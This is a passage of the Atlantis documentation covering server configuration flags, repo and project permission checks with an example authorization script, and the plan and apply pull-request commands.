` block, or inline code (`` ` ``), and inserts appropriate closing and continuation markers so that each comment renders correctly. Continuation comments are labeled with the command name (e.g. "Continued plan output from previous comment") when available. ### `--parallel-apply` v0.22.0+ [​](https://www.runatlantis.io/docs/server-configuration#parallel-apply) bash atlantis server --parallel-apply # or ATLANTIS_PARALLEL_APPLY=true Whether to run apply operations in parallel. Defaults to `false`. Explicit declaration in [repo config](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#run-plans-and-applies-in-parallel) takes precedence. ### `--parallel-plan` v0.22.0+ [​](https://www.runatlantis.io/docs/server-configuration#parallel-plan) bash atlantis server --parallel-plan # or ATLANTIS_PARALLEL_PLAN=true Whether to run plan operations in parallel. Defaults to `false`. Explicit declaration in [repo config](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#run-plans-and-applies-in-parallel) takes precedence. ### `--parallel-pool-size` v0.16.0 [​](https://www.runatlantis.io/docs/server-configuration#parallel-pool-size) bash atlantis server --parallel-pool-size=100 # or ATLANTIS_PARALLEL_POOL_SIZE=100 Max size of the wait group that runs parallel plans and applies (if enabled). Defaults to `15` ### `--pending-apply-status` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration#pending-apply-status) bash atlantis server --pending-apply-status # or (recommended) ATLANTIS_PENDING_APPLY_STATUS=true Set the commit status to pending when there are planned changes that haven't been applied. This prevents merge requests from being merged until all Terraform applies are completed if you have `Pipelines must succeed` enabled on your repository. When enabled, after running `atlantis plan`, the MR status will show as pending if there are changes to apply. Once all projects are successfully applied (or show no changes), the status will update to success. Projects with no Terraform changes are counted as up to date rather than applied. If a pull request has both up-to-date projects and projects still waiting to apply, the Atlantis apply commit status remains pending until all changed projects are applied. Defaults to `false`. Only supported on GitLab ### `--port` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#port) bash atlantis server --port=4141 # or ATLANTIS_PORT=4141 Port to bind to. Defaults to `4141`. ### `--quiet-policy-checks` v0.32.0+ [​](https://www.runatlantis.io/docs/server-configuration#quiet-policy-checks) bash atlantis server --quiet-policy-checks # or ATLANTIS_QUIET_POLICY_CHECKS=true Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings. Defaults to `false`. ### `--redis-cluster-addresses` [​](https://www.runatlantis.io/docs/server-configuration#redis-cluster-addresses) bash atlantis server --redis-cluster-addresses="redis-node-0:6379,redis-node-1:6379,redis-node-2:6379" # or ATLANTIS_REDIS_CLUSTER_ADDRESSES="redis-node-0:6379,redis-node-1:6379,redis-node-2:6379" Comma-delimited list of Redis cluster node addresses in the format `host:port`. When set, Atlantis uses Redis Cluster mode instead of single-node mode. This is mutually exclusive with `--redis-host`/`--redis-port` (which are used for single-node mode). ### `--redis-db` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#redis-db) bash atlantis server --redis-db=0 # or ATLANTIS_REDIS_DB=0 The Redis Database to use when using a Locking DB type of `redis`. Defaults to `0`. ### `--redis-host` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#redis-host) bash atlantis server --redis-host="localhost" # or ATLANTIS_REDIS_HOST="localhost" The Redis Hostname for when using a Locking DB type of `redis`. ### `--redis-insecure-skip-verify` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#redis-insecure-skip-verify) bash atlantis server --redis-insecure-skip-verify=false # or ATLANTIS_REDIS_INSECURE_SKIP_VERIFY=false Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate. Defaults to `false`. SECURITY WARNING If this is enabled, TLS is susceptible to machine-in-the-middle attacks unless custom verification is used. ### `--redis-password` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#redis-password) bash atlantis server --redis-password="password123" # or (recommended) ATLANTIS_REDIS_PASSWORD="password123" The Redis Password for when using a Locking DB type of `redis`. ### `--redis-port` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#redis-port) bash atlantis server --redis-port=6379 # or ATLANTIS_REDIS_PORT=6379 The Redis Port for when using a Locking DB type of `redis`. Defaults to `6379`. ### `--redis-tls-enabled` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#redis-tls-enabled) bash atlantis server --redis-tls-enabled=false # or ATLANTIS_REDIS_TLS_ENABLED=false Enables a TLS connection, with min version of 1.2, to Redis when using a Locking DB type of `redis`. Defaults to `false`. ### `--redis-username` [​](https://www.runatlantis.io/docs/server-configuration#redis-username) bash atlantis server --redis-username="myuser" # or ATLANTIS_REDIS_USERNAME="myuser" The Redis Username for when using a Locking DB type of `redis`. Useful when Redis is configured with ACL-based authentication. ### `--repo-allowlist` v0.13.0 [​](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) bash # NOTE: Use single quotes to avoid shell expansion of *. atlantis server --repo-allowlist='github.com/myorg/*' # or ATLANTIS_REPO_ALLOWLIST='github.com/myorg/*' Atlantis requires you to specify an allowlist of repositories it will accept webhooks from. Notes: * Accepts a comma separated list, ex. `definition1,definition2` * Format is `{hostname}/{owner}/{repo}`, ex. `github.com/runatlantis/atlantis` * `*` matches any characters, ex. `github.com/runatlantis/*` will match all repos in the runatlantis organization * An entry beginning with `!` negates it, ex. `github.com/foo/*,!github.com/foo/bar` will match all github repos in the `foo` owner _except_ `bar`. * For Bitbucket Server: `{hostname}` is the domain without scheme and port, `{owner}` is the name of the project (not the key), and `{repo}` is the repo name * User (not project) repositories take on the format: `{hostname}/{full name}/{repo}` (e.g., `bitbucket.example.com/Jane Doe/myatlantis` for username `jdoe` and full name `Jane Doe`, which is not very intuitive) * For Azure DevOps the allowlist takes one of two forms: `{owner}.visualstudio.com/{owner}/{project}/{repo}` or `dev.azure.com/{owner}/{project}/{repo}` * Microsoft is in the process of changing Azure DevOps to the latter form, so it may be safest to always specify both formats in your repo allowlist for each repository until the change is complete. Examples: * Allowlist `myorg/repo1` and `myorg/repo2` on `github.com` * `--repo-allowlist=github.com/myorg/repo1,github.com/myorg/repo2` * Allowlist all repos under `myorg` on `github.com` * `--repo-allowlist='github.com/myorg/*'` * Allowlist all repos under `myorg` on `github.com`, excluding `myorg/untrusted-repo` * `--repo-allowlist='github.com/myorg/*,!github.com/myorg/untrusted-repo'` * Allowlist all repos in my GitHub Enterprise installation * `--repo-allowlist='github.yourcompany.com/*'` * Allowlist all repos under `myorg` project `myproject` on Azure DevOps * `--repo-allowlist='myorg.visualstudio.com/myorg/myproject/*,dev.azure.com/myorg/myproject/*'` * Allowlist all repositories * `--repo-allowlist='*'` ### `--repo-config` v0.5.0+ [​](https://www.runatlantis.io/docs/server-configuration#repo-config) bash atlantis server --repo-config="path/to/repos.yaml" # or ATLANTIS_REPO_CONFIG="path/to/repos.yaml" Path to a YAML server-side repo config file. See [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) . ### `--repo-config-json` v0.5.0+ [​](https://www.runatlantis.io/docs/server-configuration#repo-config-json) bash atlantis server --repo-config-json='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' # or ATLANTIS_REPO_CONFIG_JSON='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' Specify server-side repo config as a JSON string. Useful if you don't want to write a config file to disk. See [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) for more details. TIP If specifying a [Workflow](https://www.runatlantis.io/docs/custom-workflows#reference) , [step](https://www.runatlantis.io/docs/custom-workflows#step) 's can be specified as follows: json { "repos": [], "workflows": { "custom": { "plan": { "steps": [\ "init",\ {\ "plan": {\ "extra_args": ["extra", "args"]\ }\ },\ {\ "run": "my custom command"\ }\ ] } } } } ### `--restrict-file-list` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#restrict-file-list) bash atlantis server --restrict-file-list # or (recommended) ATLANTIS_RESTRICT_FILE_LIST=true `--restrict-file-list` will block plan requests from projects outside the files modified in the pull request. When `--enable-regexp-cmd` is also enabled, regex project plans such as `atlantis plan -p .*` are scoped to matching projects with files modified in the pull request. Defaults to `false`. ### `--share-plan-dir` [​](https://www.runatlantis.io/docs/server-configuration#share-plan-dir) bash atlantis server --share-plan-dir="path/to/local/plan/dir" # or ATLANTIS_SHARE_PLAN_DIR="path/to/local/plan/dir" Directory where Atlantis will store local Terraform plan files. If unset, this defaults to the resolved `--data-dir` value so existing installations keep the same on-disk layout. When set to a different directory, checked out repositories remain under `--data-dir` and generated `.tfplan` files use the same repo, pull request, workspace, and project path layout under `--share-plan-dir`. ### `--silence-allowlist-errors` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#silence-allowlist-errors) bash atlantis server --silence-allowlist-errors # or ATLANTIS_SILENCE_ALLOWLIST_ERRORS=true Some users use the `--repo-allowlist` flag to control which repos Atlantis responds to. Normally, if Atlantis receives a pull request webhook from a repo not listed in the allowlist, it will comment back with an error. This flag disables that commenting. Some users find this useful because they prefer to add the Atlantis webhook at an organization level rather than on each repo. ### `--silence-fork-pr-errors` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#silence-fork-pr-errors) bash atlantis server --silence-fork-pr-errors # or ATLANTIS_SILENCE_FORK_PR_ERRORS=true Normally, if Atlantis receives a pull request webhook from a fork and --allow-fork-prs is not set, it will comment back with an error. This flag disables that commenting. ### `--silence-no-projects` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration#silence-no-projects) bash atlantis server --silence-no-projects # or ATLANTIS_SILENCE_NO_PROJECTS=true `--silence-no-projects` will tell Atlantis to ignore PRs if none of the modified files are part of a project defined in the `atlantis.yaml` file. This flag ensures an Atlantis server only responds to its explicitly declared projects. This has no effect if projects are undefined in the repo level `atlantis.yaml`. This also silences targeted commands (e.g. `atlantis plan -d mydir` or `atlantis apply -p myproj`) so if the project is not in the repo config `atlantis.yaml`, these commands will not run or report back in a comment. This is useful when running multiple Atlantis servers against a single repository so you can delegate work to each Atlantis server. Also useful when used with pre\_workflow\_hooks to dynamically generate an `atlantis.yaml` file. ### `--silence-vcs-status-no-plans` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#silence-vcs-status-no-plans) bash atlantis server --silence-vcs-status-no-plans # or ATLANTIS_SILENCE_VCS_STATUS_NO_PLANS=true `--silence-vcs-status-no-plans` will tell Atlantis to ignore setting VCS status on plans if none of the modified files are part of a project defined in the `atlantis.yaml` file. ### `--silence-vcs-status-no-projects` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#silence-vcs-status-no-projects) bash atlantis server --silence-vcs-status-no-projects # or ATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS=true `--silence-vcs-status-no-projects` will tell Atlantis to ignore setting VCS status on any command if none of the modified files are part of a project defined in the `atlantis.yaml` file. ### `--skip-clone-no-changes` v0.15.0 [​](https://www.runatlantis.io/docs/server-configuration#skip-clone-no-changes) bash atlantis server --skip-clone-no-changes # or ATLANTIS_SKIP_CLONE_NO_CHANGES=true `--skip-clone-no-changes` will skip cloning the repo during autoplan if there are no changes to Terraform projects. This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` file. Defaults to `false`. ### `--slack-token` v0.43.0+ [​](https://www.runatlantis.io/docs/server-configuration#slack-token) bash atlantis server --slack-token=token # or (recommended) ATLANTIS_SLACK_TOKEN='token' API token for Slack notifications. See [Using Slack hooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#using-slack-hooks) . ### `--ssl-cert-file` v0.2.4+ [​](https://www.runatlantis.io/docs/server-configuration#ssl-cert-file) bash atlantis server --ssl-cert-file="/etc/ssl/certs/my-cert.crt" # or ATLANTIS_SSL_CERT_FILE="/etc/ssl/certs/my-cert.crt" File containing x509 Certificate used for serving HTTPS. If the cert is signed by a CA, the file should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. ### `--ssl-key-file` v0.2.4+ [​](https://www.runatlantis.io/docs/server-configuration#ssl-key-file) bash atlantis server --ssl-key-file="/etc/ssl/private/my-cert.key" # or ATLANTIS_SSL_KEY_FILE="/etc/ssl/private/my-cert.key" File containing x509 private key matching `--ssl-cert-file`. ### `--stats-namespace` v0.43.0+ [​](https://www.runatlantis.io/docs/server-configuration#stats-namespace) bash atlantis server --stats-namespace="myatlantis" # or ATLANTIS_STATS_NAMESPACE="myatlantis" Namespace for emitting stats/metrics. See [stats](https://www.runatlantis.io/docs/stats) section. ### `--tf-distribution` v0.24.0+ [​](https://www.runatlantis.io/docs/server-configuration#tf-distribution) Deprecated Deprecated for `--default-tf-distribution`. ### `--tf-download` v0.18.0+ [​](https://www.runatlantis.io/docs/server-configuration#tf-download) bash atlantis server --tf-download=false # or ATLANTIS_TF_DOWNLOAD=false Defaults to `true`. Allow Atlantis to list and download additional versions of Terraform. Setting this to `false` can be useful in an air-gapped environment where a download mirror is not available. ### `--tf-download-url` v0.18.0+ [​](https://www.runatlantis.io/docs/server-configuration#tf-download-url) bash atlantis server --tf-download-url="https://releases.company.com" # or ATLANTIS_TF_DOWNLOAD_URL="https://releases.company.com" An alternative URL to download Terraform versions if they are missing. Useful in an airgapped environment where releases.hashicorp.com is not available. Directory structure of the custom endpoint should match that of releases.hashicorp.com. This has no impact if `--tf-download` is set to `false`. This setting is not yet supported when `--tf-distribution` is set to `opentofu`. ### `--tfe-hostname` v0.8.3+ [​](https://www.runatlantis.io/docs/server-configuration#tfe-hostname) bash atlantis server --tfe-hostname="my-terraform-enterprise.company.com" # or ATLANTIS_TFE_HOSTNAME="my-terraform-enterprise.company.com" Hostname of your Terraform Enterprise installation to be used in conjunction with `--tfe-token`. See [Terraform Cloud](https://www.runatlantis.io/docs/terraform-cloud) for more details. If using Terraform Cloud (i.e. you don't have your own Terraform Enterprise installation) no need to set since it defaults to `app.terraform.io`. ### `--tfe-local-execution-mode` v0.8.3+ [​](https://www.runatlantis.io/docs/server-configuration#tfe-local-execution-mode) bash atlantis server --tfe-local-execution-mode # or ATLANTIS_TFE_LOCAL_EXECUTION_MODE=true Enable if you're using local execution mode (instead of TFE/C's remote execution mode). See [Terraform Cloud](https://www.runatlantis.io/docs/terraform-cloud) for more details. ### `--tfe-token` v0.8.3+ [​](https://www.runatlantis.io/docs/server-configuration#tfe-token) bash atlantis server --tfe-token="xxx.atlasv1.yyy" # or (recommended) ATLANTIS_TFE_TOKEN='xxx.atlasv1.yyy' A token for Terraform Cloud/Terraform Enterprise integration. See [Terraform Cloud](https://www.runatlantis.io/docs/terraform-cloud) for more details. ### `--use-tf-plugin-cache` v0.26.0+ [​](https://www.runatlantis.io/docs/server-configuration#use-tf-plugin-cache) bash atlantis server --use-tf-plugin-cache=false Set to false if you want to disable terraform plugin cache. This flag is useful when having multiple projects that need to run a plan and apply in the same PR to avoid the race condition of `plugin_cache_dir` concurrently, this is a terraform known issue, more info: * [plugin\_cache\_dir concurrently discussion](https://github.com/hashicorp/terraform/issues/31964) * [PR to improve the situation](https://github.com/hashicorp/terraform/pull/33479) The effect of the race condition is more evident when using parallel configuration to run plan and apply. Disabling the use of plugin cache will impact the performance when starting a new plan or apply, but in large Atlantis deployments with multiple projects and shared modules the use of `--parallel_plan` and `--parallel_apply` is mandatory for an efficient management of the PRs. ### `--var-file-allowlist` v0.19.5 [​](https://www.runatlantis.io/docs/server-configuration#var-file-allowlist) bash atlantis server --var-file-allowlist='/path/to/tfvars/dir' # or ATLANTIS_VAR_FILE_ALLOWLIST='/path/to/tfvars/dir' Comma-separated list of additional directory paths where [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) can be read from. The paths in this argument should be absolute paths. Relative paths and globbing are currently not supported. If this argument is not provided, it defaults to Atlantis' data directory, determined by the `--data-dir` argument. ### `--vcs-status-name` v0.42.0+ [​](https://www.runatlantis.io/docs/server-configuration#vcs-status-name) bash atlantis server --vcs-status-name="atlantis-dev" # or ATLANTIS_VCS_STATUS_NAME="atlantis-dev" Name used to identify Atlantis when updating a pull request status. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository so you can give each Atlantis server its own unique name to prevent the statuses clashing. ### `--web-basic-auth` v0.1.0+ [​](https://www.runatlantis.io/docs/server-configuration#web-basic-auth) bash atlantis server --web-basic-auth # or ATLANTIS_WEB_BASIC_AUTH=true Enable Basic Authentication on the Atlantis web service. ### `--web-password` v0.1.0+ [​](https://www.runatlantis.io/docs/server-configuration#web-password) bash atlantis server --web-password="atlantis" # or ATLANTIS_WEB_PASSWORD="atlantis" Password used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. ### `--web-username` v0.1.0+ [​](https://www.runatlantis.io/docs/server-configuration#web-username) bash atlantis server --web-username="atlantis" # or ATLANTIS_WEB_USERNAME="atlantis" Username used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. ### `--webhook-http-headers` v0.35.0+ [​](https://www.runatlantis.io/docs/server-configuration#webhook-http-headers) bash atlantis server --webhook-http-headers='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' # or ATLANTIS_WEBHOOK_HTTP_HEADERS='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' Additional headers added to each HTTP POST payload when using [http webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#using-http-webhooks) provided as a JSON string. The map key is the header name and the value is the header value (string) or values (array of string). ### `--websocket-check-origin` v0.19.0+ [​](https://www.runatlantis.io/docs/server-configuration#websocket-check-origin) bash atlantis server --websocket-check-origin # or ATLANTIS_WEBSOCKET_CHECK_ORIGIN=true Only allow websockets connection when they originate from the running Atlantis web server ### `--write-git-creds` v0.11.0+ [​](https://www.runatlantis.io/docs/server-configuration#write-git-creds) bash atlantis server --write-git-creds # or ATLANTIS_WRITE_GIT_CREDS=true Write out a .git-credentials file with the provider user and token to allow cloning private modules over HTTPS or SSH. See [Git Credential Store documentation](https://git-scm.com/docs/git-credential-store) for more information. Follow the `git::ssh` --- # Repo and Project Permissions | Atlantis [Skip to content](https://www.runatlantis.io/docs/repo-and-project-permissions#VPContent) On this page Repo and Project Permissions [​](https://www.runatlantis.io/docs/repo-and-project-permissions#repo-and-project-permissions) ============================================================================================================================ Sometimes it may be necessary to limit who can run which commands, such as restricting who can apply changes to production, while allowing more freedom for dev and test environments. Authorization Workflow [​](https://www.runatlantis.io/docs/repo-and-project-permissions#authorization-workflow) ---------------------------------------------------------------------------------------------------------------- Atlantis performs two authorization checks to verify a user has the necessary permissions to run a command: 1. After a command has been validated, before var files, repo metadata, or pull request statuses are checked and validated. 2. After pre workflow hooks have run, repo configuration processed, and affected projects determined. Note The first check should be considered as validating the user for a repository as a whole, while the second check is for validating a user for a specific project in that repo. ### Why check permissions twice? [​](https://www.runatlantis.io/docs/repo-and-project-permissions#why-check-permissions-twice) The way Atlantis is currently designed, not all relevant information may be available when the first check happens. In particular, affected projects are not known because pre workflow hooks haven't run yet, so repositories that use hooks to generate or modify repo configurations won't know which projects to check permissions for. Configuring permissions [​](https://www.runatlantis.io/docs/repo-and-project-permissions#configuring-permissions) ------------------------------------------------------------------------------------------------------------------ Atlantis has two options for allowing instance administrators to configure permissions. ### Server option [`--gh-team-allowlist`](https://www.runatlantis.io/docs/server-configuration#gh-team-allowlist) [​](https://www.runatlantis.io/docs/repo-and-project-permissions#server-option-gh-team-allowlist) The `--gh-team-allowlist` option allows administrators to configure a global set of permissions that apply to all repositories. For most use cases, this should be sufficient. WARNING If you are using [policy checking](https://www.runatlantis.io/docs/policy-checking) , you must also allowlist the `policy_check` command: bash --gh-team-allowlist="*:plan,*:policy_check,myteam:apply" `policy_check` is an internal command that runs automatically after `plan`. Without allowlisting it, manual `atlantis plan` commands will skip policy checks (though autoplans will still work). See [Policy Checking](https://www.runatlantis.io/docs/policy-checking#step-1-enable-the-workflow) for details. ### External command [​](https://www.runatlantis.io/docs/repo-and-project-permissions#external-command) For administrators that require more granular and specific permission definitions, an external command can be defined in the [server side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config#teamauthz) . This command will receive information about the command, repo, project, and GitHub teams the user is a member of, allowing administrators to integrate the permissions validation with other systems or business requirements. An example would be allowing users to apply changes to lower environments like dev and test environments while restricting changes to production or other sensitive environments. WARNING These options are mutually exclusive. If an external command is defined, the `--gh-team-allowlist` option is ignored. Example [​](https://www.runatlantis.io/docs/repo-and-project-permissions#example) ---------------------------------------------------------------------------------- ### Restrict production changes [​](https://www.runatlantis.io/docs/repo-and-project-permissions#restrict-production-changes) This example shows a simple example of how a script could be used to restrict production changes to a specific team, while allowing anyone to work on other environments. For brevity, this example assumes each user is a member of a single team. `server-side-repo-config.yaml` yaml team_authz: command: "/scripts/example.sh" `example.sh` shell #!/bin/bash # Define name of team allowed to make production changes PROD_TEAM="example-org/prod-deployers" # Set variables from command-line arguments for convenience COMMAND="$1" REPO="$2" TEAM="$3" # Check if we are running the 'apply' command on prod if [ "${COMMAND}" == "apply" -a "${PROJECT_NAME}" == "prod" ] then # Only the prod team can make this change if [ "${TEAM}" == "${PROD_TEAM}" ] then echo "pass" exit 0 fi # Print reason for failing and exit echo "user \"${USER_NAME}\" must be a member of \"${PROD_TEAM}\" to apply changes to production." exit 0 fi # Any other command and environment is okay echo "pass" exit 0 Reference [​](https://www.runatlantis.io/docs/repo-and-project-permissions#reference) -------------------------------------------------------------------------------------- ### External Command Execution [​](https://www.runatlantis.io/docs/repo-and-project-permissions#external-command-execution) External commands are executed on every authorization check with arguments and environment variables containing context about the command being checked. The command is executed using the following format: shell external_command [external_args...] atlantis_command repo [teams...] | Key | Optional | Description | | --- | --- | --- | | `external_command` | no | Command defined in [server side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config) | | `external_args` | yes | Command arguments defined in [server side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config) | | `atlantis_command` | no | The atlantis command being run (`plan`, `apply`, etc) | | `repo` | no | The full name of the repo being executed (format: `owner/repo_name`) | | `teams` | yes | A list of zero or more teams of the user executing the command | The following environment variables are passed to the command on every execution: | Key | Description | | --- | --- | | `BASE_REPO_NAME` | Name of the repository that the pull request will be merged into, ex. `atlantis`. | | `BASE_REPO_OWNER` | Owner of the repository that the pull request will be merged into, ex. `runatlantis`. | | `COMMAND_NAME` | The name of the command that is being executed, i.e. `plan`, `apply` etc. | | `USER_NAME` | Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. | The following environment variables are also passed to the command when checking project authorization: | Key | Description | | --- | --- | | `BASE_BRANCH_NAME` | Name of the base branch of the pull request (the branch that the pull request is getting merged into) | | `COMMENT_ARGS` | Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. | | `HEAD_REPO_NAME` | Name of the repository that is getting merged into the base repository, ex. `atlantis`. | | `HEAD_REPO_OWNER` | Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. | | `HEAD_BRANCH_NAME` | Name of the head branch of the pull request (the branch that is getting merged into the base) | | `HEAD_COMMIT` | The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. | | `PROJECT_NAME` | Name of the project the command is being executed on | | `PULL_NUM` | Pull request number or ID, ex. `2`. | | `PULL_URL` | Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. | | `PULL_AUTHOR` | Username of the pull request author, ex. `acme-user`. | | `REPO_ROOT` | The absolute path to the root of the cloned repository. | | `REPO_REL_PATH` | Path to the project relative to `REPO_ROOT` | ### External Command Result Handling [​](https://www.runatlantis.io/docs/repo-and-project-permissions#external-command-result-handling) Atlantis determines if a user is authorized to run the requested command by checking if the external command exited with code `0` and if the last line of output is `pass`. text # Pseudo-code of Atlantis evaluation of external commands user_authorized = external_command.exit_code == 0 && external_command.output.last_line == 'pass' TIP * A non-zero exit code means the command failed to evaluate the request for some reason (bad configuration, missing dependencies, solar flares, etc). * If the command was able to run successfully, but determined the user is not authorized, it should still exit with code `0`. * The command output could contain the reasoning for the authorization failure. --- # Using Atlantis | Atlantis [Skip to content](https://www.runatlantis.io/docs/using-atlantis#VPContent) On this page Using Atlantis [​](https://www.runatlantis.io/docs/using-atlantis#using-atlantis) ================================================================================== Atlantis triggers commands via pull request comments. ![Help Command](https://www.runatlantis.io/assets/pr-comment-help.K9TqjMu8.png) TIP You can use the following executable names. * `atlantis help` * `atlantis` is executable name. You can configure by [Executable Name](https://www.runatlantis.io/docs/server-configuration#executable-name) . * `run help` * `run` is a global executable name. * `@GithubUser help` * `@GithubUser` is the VCS host user which you connected to Atlantis by user token. Currently, Atlantis supports the following commands. * * * atlantis help [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-help) -------------------------------------------------------------------------------- bash atlantis help ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation) View help * * * atlantis version [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-version) -------------------------------------------------------------------------------------- bash atlantis version ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-1) Print the output of 'terraform version'. * * * atlantis plan [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-plan) -------------------------------------------------------------------------------- bash atlantis plan [options] -- [terraform plan flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-2) Runs `terraform plan` on the pull request's branch. You may wish to re-run plan after Atlantis has already done so if you've changed some resources manually. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis#examples) bash # Runs plan for any projects that Atlantis thinks were modified. # If an `atlantis.yaml` file is specified, runs plan on the projects that # were modified as determined by the `when_modified` config. atlantis plan # Runs plan in the root directory of the repo with workspace `default`. atlantis plan -d . # Runs plan in the `project1` directory of the repo with workspace `default` atlantis plan -p project1 # Runs plan in the root directory of the repo with workspace `staging` atlantis plan -w staging ### Options [​](https://www.runatlantis.io/docs/using-atlantis#options) * `-d directory` Which directory to run plan in relative to root of repo. Use `.` for root. * Ex. `atlantis plan -d child/dir` * `-p project` Which project to run plan for. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . Cannot be used at same time as `-d` or `-w` because the project defines this already. * `-w workspace` Switch to this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) before planning. Defaults to `default`. Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. * `--verbose` Append Atlantis log to comment. NOTE An `atlantis plan` (without flags), like autoplans, discards all plans previously created with `atlantis plan` `-p`/`-d`/`-w` ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis#additional-terraform-flags) If `terraform plan` requires additional arguments, like `-target=resource` or `-var 'foo=bar'` or `-var-file myfile.tfvars` you can append them to the end of the comment after `--`, ex. shell atlantis plan -d dir -- -var foo='bar' If you always need to append a certain flag, see [Custom Workflow Use Cases](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) . ### Automatic Environment Variable Files [​](https://www.runatlantis.io/docs/using-atlantis#automatic-environment-variable-files) Atlantis automatically includes workspace-specific variable files if they exist in your repository. This feature helps reduce duplication across different environments and workspaces. #### How it works [​](https://www.runatlantis.io/docs/using-atlantis#how-it-works) When running `atlantis plan`, Atlantis automatically checks for a file at `env/{workspace}.tfvars` relative to the project directory. If this file exists, Atlantis will automatically include it using the `-var-file` flag. #### Examples [​](https://www.runatlantis.io/docs/using-atlantis#examples-1) plain my-terraform-project/ ├── main.tf ├── variables.tf └── env/ ├── default.tfvars ├── staging.tfvars └── production.tfvars When you run: * `atlantis plan` (uses default workspace) automatically includes `env/default.tfvars` * `atlantis plan -w staging` automatically includes `env/staging.tfvars` * `atlantis plan -w production` automatically includes `env/production.tfvars` TIP This feature works for any workspace name. If you have a custom workspace called `dev-team-1`, Atlantis will look for `env/dev-team-1.tfvars`. ### Using the -destroy Flag [​](https://www.runatlantis.io/docs/using-atlantis#using-the-destroy-flag) #### Example [​](https://www.runatlantis.io/docs/using-atlantis#example) To perform a destructive plan that will destroy resources you can use the `-destroy` flag like this: bash atlantis plan -- -destroy atlantis plan -d dir -- -destroy NOTE The `-destroy` flag generates a destroy plan. If this plan is applied it can result in data loss or service disruptions. Ensure that you have thoroughly reviewed your Terraform configuration and intend to remove the specified resources before using this flag. * * * atlantis apply [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-apply) ---------------------------------------------------------------------------------- bash atlantis apply [options] -- [terraform apply flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-3) Runs `terraform apply` for the plan that matches the directory/project/workspace. TIP If no directory/project/workspace is specified, ex. `atlantis apply`, this command will apply **all unapplied plans from this pull request**. This includes all projects that have been planned manually with `atlantis plan` `-p`/`-d`/`-w` since the last autoplan or `atlantis plan` command. For Atlantis commands to work, Atlantis needs to know the location where the plan file is. For that, you can use $PLANFILE which will contain the path of the plan file to be used in your custom steps. i.e `terraform plan -out $PLANFILE` ### Examples [​](https://www.runatlantis.io/docs/using-atlantis#examples-2) bash # Runs apply for all unapplied plans from this pull request. atlantis apply # Runs apply in the root directory of the repo with workspace `default`. atlantis apply -d . # Runs apply in the `project1` directory of the repo with workspace `default` atlantis apply -p project1 # Runs apply in the root directory of the repo with workspace `staging` atlantis apply -w staging ### Options [​](https://www.runatlantis.io/docs/using-atlantis#options-1) * `-d directory` Apply the plan for this directory, relative to root of repo. Use `.` for root. * `-p project` Apply the plan for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . Cannot be used at same time as `-d` or `-w`. * `-w workspace` Apply the plan for this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) . Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or 